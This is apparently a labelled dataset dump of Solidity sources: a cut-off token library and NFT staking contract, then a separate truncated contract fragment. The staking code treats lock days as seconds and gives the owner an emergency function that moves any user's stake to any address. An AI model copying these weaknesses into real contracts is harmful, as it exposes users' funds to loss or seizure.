EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity >=0.6.2 <0.8.0;
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
pragma solidity >=0.6.0 <0.8.0;
interface IERC721Receiver {
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
pragma solidity >=0.6.0 <0.8.0;
abstract contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
_registerInterface(_INTERFACE_ID_ERC165);
}
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
pragma solidity >=0.6.0 <0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
pragma solidity >=0.6.0 <0.8.0;
library EnumerableMap {
struct MapEntry {
bytes32 _key;
bytes32 _value;
}
struct Map {
MapEntry[] _entries;
mapping (bytes32 => uint256) _indexes;
}
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) {
map._entries.push(MapEntry({ _key: key, _value: value }));
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
function _remove(Map storage map, bytes32 key) private returns (bool) {
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) {
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
MapEntry storage lastEntry = map._entries[lastIndex];
map._entries[toDeleteIndex] = lastEntry;
map._indexes[lastEntry._key] = toDeleteIndex + 1;
map._entries.pop();
delete map._indexes[key];
return true;
} else {
return false;
}
}
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) {
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) return (false, 0);
return (true, map._entries[keyIndex - 1]._value);
}
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, "EnumerableMap: nonexistent key");
return map._entries[keyIndex - 1]._value;
}
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage);
return map._entries[keyIndex - 1]._value;
}
struct UintToAddressMap {
Map _inner;
}
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
pragma solidity >=0.6.0 <0.8.0;
library Strings {
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
pragma solidity >=0.6.0 <0.8.0;
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (address => EnumerableSet.UintSet) private _holderTokens;
EnumerableMap.UintToAddressMap private _tokenOwners;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => mapping (address => bool)) private _operatorApprovals;
string private _name;
string private _symbol;
mapping (uint256 => string) private _tokenURIs;
string private _baseURI;
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return string(abi.encodePacked(base, tokenId.toString()));
}
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
function totalSupply() public view virtual override returns (uint256) {
return _tokenOwners.length();
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
_approve(address(0), tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
pragma solidity 0.6.12;
contract UnicStakingERC721 is AccessControl, ERC721, IMintableCollection {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor(
string memory name,
string memory symbol,
string memory baseURI
) public ERC721(name, symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
}
function burn(uint256 tokenId) public override virtual {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"UnicStakingERC721: caller is not owner nor approved"
);
_burn(tokenId);
}
function setBaseURI(string memory baseURI) public {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),
"UnicStakingERC721: must have admin role to change baseUri"
);
_setBaseURI(baseURI);
}
function mint(address to, uint256 tokenId) public override virtual {
require(
hasRole(MINTER_ROLE, _msgSender()),
"UnicStakingERC721: must have minter role to mint"
);
_mint(to, tokenId);
}
}
pragma solidity >=0.5.0;
interface IUnicFactory {
event TokenCreated(address indexed caller, address indexed uToken);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getUToken(address uToken) external view returns (uint);
function uTokens(uint) external view returns (address);
function uTokensLength() external view returns (uint);
function createUToken(uint256 totalSupply, uint8 decimals, string calldata name, string calldata symbol, uint256 threshold, string calldata description) external returns (address);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
pragma solidity 0.6.12;
contract UnicStakingV6 is Initializable, EmergencyWithdrawable, IRewardable, PausableUpgradeable {
using SafeMath for uint256;
using SafeERC20Upgradeable for IERC20Upgradeable;
struct StakerInfo {
uint256 nftId;
uint256 amount;
uint256 stakeStartTime;
uint256 lockDays;
uint256 rewardDebt;
address rewardToken;
uint16 multiplier;
}
struct LockMultiplier {
uint16 multiplier;
bool exists;
}
struct RewardPool {
IERC20Upgradeable rewardToken;
uint256 stakedAmount;
uint256 stakedAmountWithMultipliers;
uint256 totalRewardAmount;
uint256 accRewardPerShare;
uint256 lastRewardAmount;
}
IERC20Upgradeable private stakingToken;
IMintableCollection private nftCollection;
uint256 public minStakeAmount;
uint256 private nftStartId;
mapping(uint256 => StakerInfo) public stakes;
mapping(address => RewardPool) public pools;
mapping(uint256 => LockMultiplier) public lockMultipliers;
uint256 private constant DIV_PRECISION = 1e18;
event AddRewards(address indexed rewardToken, uint256 amount);
event Staked(
address indexed account,
address indexed rewardToken,
uint256 nftId,
uint256 amount,
uint256 lockDays
);
event Harvest(address indexed staker, address indexed rewardToken, uint256 nftId, uint256 amount);
event Withdraw(address indexed staker, address indexed rewardToken, uint256 nftId, uint256 amount);
event LogUpdateRewards(address indexed rewardToken, uint256 totalRewards, uint256 accRewardPerShare);
modifier poolExists(address rewardToken) {
require(address(pools[rewardToken].rewardToken) != address(0), "UnicStaking: Pool does not exist");
_;
}
modifier poolNotExists(address rewardToken) {
require(address(pools[rewardToken].rewardToken) == address(0), "UnicStaking: Pool does already exist");
_;
}
IUnicFactory private factory;
function initialize(
IERC20Upgradeable _stakingToken,
IMintableCollection _nftCollection,
uint256 _nftStartId,
uint256 _minStakeAmount
) public initializer {
__Ownable_init();
stakingToken = _stakingToken;
nftCollection = _nftCollection;
nftStartId = _nftStartId;
minStakeAmount = _minStakeAmount;
}
function setUnicFactory(IUnicFactory _factory) external onlyOwner {
factory = _factory;
}
function setLockMultiplier(uint256 lockDays, uint16 multiplier) external onlyOwner {
require(multiplier >= 100, "Minimum multiplier = 100");
lockMultipliers[lockDays] = LockMultiplier({
multiplier: multiplier,
exists: true
});
}
function deleteLockMultiplier(uint256 lockDays) external onlyOwner {
delete lockMultipliers[lockDays];
}
function setMinStakeAmount(uint256 _minStakeAmount) external onlyOwner {
minStakeAmount = _minStakeAmount;
}
function setNftStartId(uint256 _nftStartId) external onlyOwner {
nftStartId = _nftStartId;
}
function stake(uint256 amount, uint256 lockDays, address rewardToken)
external
whenNotPaused
poolExists(rewardToken)
{
require(
amount >= minStakeAmount,
"UnicStaking: Amount must be greater than or equal to min stake amount"
);
require(
lockMultipliers[lockDays].exists,
"UnicStaking: Invalid number of lock days specified"
);
updateRewards(rewardToken);
stakingToken.safeTransferFrom(msg.sender, address(this), amount);
StakerInfo storage staker = stakes[nftStartId];
staker.stakeStartTime = block.timestamp;
staker.amount = amount;
staker.lockDays = lockDays;
staker.multiplier = lockMultipliers[lockDays].multiplier;
staker.nftId = nftStartId;
staker.rewardToken = rewardToken;
RewardPool storage pool = pools[rewardToken];
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
staker.rewardDebt = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
pool.stakedAmount = pool.stakedAmount.add(amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.add(virtualAmount);
nftStartId = nftStartId.add(1);
nftCollection.mint(msg.sender, nftStartId - 1);
emit Staked(msg.sender, rewardToken, nftStartId - 1, amount, lockDays);
}
function withdraw(uint256 nftId) external whenNotPaused {
StakerInfo storage staker = stakes[nftId];
require(address(staker.rewardToken) != address(0), "UnicStaking: No staker exists");
require(
nftCollection.ownerOf(nftId) == msg.sender,
"UnicStaking: Only the owner may withdraw"
);
require(
(staker.stakeStartTime.add(staker.lockDays)) < block.timestamp,
"UnicStaking: Lock time not expired"
);
updateRewards(staker.rewardToken);
RewardPool storage pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
nftCollection.burn(nftId);
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
uint256 accumulated = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward = accumulated.sub(staker.rewardDebt);
pool.stakedAmount = pool.stakedAmount.sub(staker.amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.sub(virtualAmount);
uint256 staked = staker.amount;
staker.rewardDebt = 0;
staker.amount = 0;
staker.stakeStartTime = 0;
staker.lockDays = 0;
staker.nftId = 0;
staker.rewardToken = address(0);
stakingToken.safeTransfer(msg.sender, staked);
if (reward > 0) {
pool.rewardToken.safeTransfer(msg.sender, reward);
}
emit Harvest(msg.sender, address(pool.rewardToken), nftId, reward);
emit Withdraw(msg.sender, address(stakingToken), nftId, staked);
}
function updateRewards(address rewardToken) private poolExists(rewardToken) {
RewardPool storage pool = pools[rewardToken];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
if (pool.totalRewardAmount > pool.lastRewardAmount) {
if (pool.stakedAmountWithMultipliers > 0) {
uint256 reward = pool.totalRewardAmount.sub(pool.lastRewardAmount);
pool.accRewardPerShare = pool.accRewardPerShare.add(reward.mul(DIV_PRECISION).div(pool.stakedAmountWithMultipliers));
}
pool.lastRewardAmount = pool.totalRewardAmount;
emit LogUpdateRewards(rewardToken, pool.lastRewardAmount, pool.accRewardPerShare);
}
}
function createPool(address rewardToken) external poolNotExists(rewardToken) {
require(
rewardToken == 0x94E0BAb2F6Ab1F19F4750E42d7349f2740513aD5 ||
rewardToken == 0x3d9233F15BB93C78a4f07B5C5F7A018630217cB3 ||
factory.getUToken(rewardToken) > 0,
"UnicStakingV2: rewardToken must be UNIC or uToken"
);
RewardPool memory pool = RewardPool({
rewardToken: IERC20Upgradeable(rewardToken),
stakedAmount: 0,
stakedAmountWithMultipliers: 0,
totalRewardAmount: 0,
accRewardPerShare: 0,
lastRewardAmount: 0
});
pools[rewardToken] = pool;
}
function addRewards(address rewardToken, uint256 amount) override external poolExists(rewardToken) {
require(amount > 0, "UnicStaking: Amount must be greater than zero");
IERC20Upgradeable(rewardToken).safeTransferFrom(msg.sender, address(this), amount);
RewardPool storage pool = pools[rewardToken];
pool.totalRewardAmount = pool.totalRewardAmount.add(amount);
emit AddRewards(rewardToken, amount);
}
function harvest(uint256 nftId) external whenNotPaused {
StakerInfo storage staker = stakes[nftId];
require(staker.nftId > 0, "UnicStaking: No staker exists");
require(
nftCollection.ownerOf(nftId) == msg.sender,
"UnicStaking: Only the owner may harvest"
);
updateRewards(address(staker.rewardToken));
RewardPool memory pool = pools[address(staker.rewardToken)];
uint256 accumulated = virtualAmount(staker.amount, staker.multiplier).mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward;
if (accumulated > staker.rewardDebt) {
reward = accumulated.sub(staker.rewardDebt);
}
staker.rewardDebt = accumulated;
pool.rewardToken.safeTransfer(msg.sender, reward);
emit Harvest(msg.sender, address(staker.rewardToken), nftId, reward);
}
function pendingReward(uint256 nftId) external view returns (uint256) {
StakerInfo memory staker = stakes[nftId];
require(staker.nftId > 0, "StakingPool: No staker exists");
RewardPool memory pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
uint256 accRewardPerShare = pool.accRewardPerShare;
if (pool.totalRewardAmount > pool.lastRewardAmount) {
if (pool.stakedAmountWithMultipliers > 0) {
uint256 reward = pool.totalRewardAmount.sub(pool.lastRewardAmount);
accRewardPerShare = pool.accRewardPerShare.add(reward.mul(DIV_PRECISION).div(pool.stakedAmountWithMultipliers));
}
}
uint256 accumulated = virtualAmount(staker.amount, staker.multiplier).mul(accRewardPerShare).div(DIV_PRECISION);
if (staker.rewardDebt > accumulated) {
return 0;
}
return accumulated.sub(staker.rewardDebt);
}
function virtualAmount(uint256 amount, uint256 multiplier) private view returns (uint256) {
return amount.mul(multiplier.mul(DIV_PRECISION).div(100)).div(DIV_PRECISION);
}
function getStakeWithMultiplier(uint256 nftId) external view returns (uint256 stakeWithMultiplier){
StakerInfo memory staker = stakes[nftId];
stakeWithMultiplier = virtualAmount(staker.amount, staker.multiplier);
}
function pause() public onlyOwner {
_pause();
}
function unpause() public onlyOwner {
_unpause();
}
function getStakingToken() external view returns (address) {
return address(stakingToken);
}
function setStakingToken(IERC20Upgradeable _stakingToken) external onlyOwner {
stakingToken = _stakingToken;
}
function emergencyWithdrawStakes(uint256 nftId, address receiver, IERC20Upgradeable _stakingToken) external onlyOwner {
StakerInfo storage staker = stakes[nftId];
require(staker.nftId > 0, "UnicStaking: No staker exists");
updateRewards(staker.rewardToken);
RewardPool storage pool = pools[address(staker.rewardToken)];
require(address(pool.rewardToken) != address(0), "UnicStaking: Pool gone");
uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);
uint256 accumulated = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);
uint256 reward = accumulated.sub(staker.rewardDebt);
pool.stakedAmount = pool.stakedAmount.sub(staker.amount);
pool.stakedAmountWithMultipliers = pool.stakedAmountWithMultipliers.sub(virtualAmount);
uint256 staked = staker.amount;
staker.rewardDebt = 0;
staker.amount = 0;
staker.stakeStartTime = 0;
staker.lockDays = 0;
staker.nftId = 0;
staker.rewardToken = address(0);
_stakingToken.safeTransfer(receiver, staked);
if (reward > 0) {
pool.rewardToken.safeTransfer(receiver, reward);
}
emit Harvest(receiver, address(pool.rewardToken), nftId, reward);
emit Withdraw(receiver, address(_stakingToken), nftId, staked);
}
} | 0 | 1,868 |
pragma solidity ^0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity 0.7.5;
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
}
pragma solidity 0.7.5;
contract Initializable is EternalStorage {
bytes32 internal constant INITIALIZED = 0x0a6f646cd611241d8073675e00d1a1ff700fbf1b53fcf473de56d1e6e4b714ba;
function setInitialize() internal {
boolStorage[INITIALIZED] = true;
}
function isInitialized() public view returns (bool) {
return boolStorage[INITIALIZED];
}
}
pragma solidity 0.7.5;
interface IUpgradeabilityOwnerStorage {
function upgradeabilityOwner() external view returns (address);
}
pragma solidity 0.7.5;
contract Upgradeable {
modifier onlyIfUpgradeabilityOwner() {
_onlyIfUpgradeabilityOwner();
_;
}
function _onlyIfUpgradeabilityOwner() internal view {
require(msg.sender == IUpgradeabilityOwnerStorage(address(this)).upgradeabilityOwner());
}
}
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.7.0;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.7.0;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
